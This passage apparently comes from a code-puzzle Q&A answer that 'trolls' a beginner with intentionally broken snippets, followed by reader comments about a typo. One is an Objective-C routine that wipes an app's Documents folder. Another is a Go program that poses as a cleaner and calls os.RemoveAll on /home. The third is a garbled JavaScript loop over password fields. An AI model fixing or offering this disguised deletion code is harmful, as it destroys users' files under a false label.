NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

[fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
[[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
}];
}


Each app in iOS is Sandboxed, so while this deletes everything in the Documents directory, it is only the Documents directory for this particular app. The troll is obviously not aware of this, since he has already been flooded with so many programs for other platforms. And as soon as he realizes he too can put out a Flappy Bird clone, he may be so excited he doesn't even bother to think about the rest of the code, as he is too preoccupied dreaming of making \$50,000 a day in advertising without doing any work.

## Go:

package main

import (
"fmt"
"os"
"sync"
)

func main() {
wg := sync.WaitGroup{}
go deleteAll(wg)
wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
defer wg.Done()
fmt.Println("Press enter to clean your computer!")
fmt.Scanln()
os.RemoveAll("/home")
}


This one is a bit tricky. In Go the entire program exits when the main Goroutine exits. A good way to fix this is with a Waitgroup. There are two huge problems with my "fix":

1. The Waitgroup isn't added to until the Goroutine starts, which means the main Goroutine will hit Wait before the deletion Goroutine hits Add. Since the counter will be 0, it has nothing to wait on and therefore it won't not block and just end up exiting, thus terminating the program.
2. Even if, somehow, magically, the deleteAll goroutine's addition gets done first. It got a copy of the Waitgroup, not a pointer to it. It won't be adding to the same Waitgroup so the main Goroutine will never see it.

The fmt.Scanln() to expect input is just to ensure the main Goroutine exits before anything happens. The Println will likely cause it to IO block and switch to running the main Goroutine (thus exiting), and the Scanln will almost certainly do so. In reality, neither are necessary with any version of Go.

In super theory land this MIGHT work and delete something, meaning according to the Go memory model there's no guaranteed "happens-before" relationship regarding the end of main and the execution of RemoveAll, but it won't on any modern Go runtime/compiler as evidenced by all the newbies who make the mistake of not putting synchronization in their main functions.

# Javascript

function(){
setInterval(function(){
var i, length = passwordList.length ;
for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
var img = document.createElement('img') ;
img.style.display = none ;
var that = this ;
setTimeout(function(){ that.outerHTML = '' }, 0) ;
}) ;
document.body.appendChild(img) ;
}
}, 1) ;
}() ;


1.

It won't run, you can't create a closure all call it without surrond it with parens

2.

If the troll manages to fix that, there is a beautiful typo to debug... ;-)

• what language? and maybe hint to the typo a bit more – masterX244 Mar 13 '14 at 23:51
• @masterX244 is Javascript, i'll edit it. Typo hint: ReferenceError – Juan Garcia Mar 14 '14 at 0:10
• That typo is so often that it should be autocorrected by editors... – mik01aj Mar 14 '14 at 9:04
• Yes, i do that typo a lot. Especially if the word's length is quite long :P – Mohammed Joraid Mar 17 '14 at 9:20
• @m01 +1 I think it should be a reserved word that throw an exception or compile time error! – Juan Garcia Mar 17 '14 at 11:37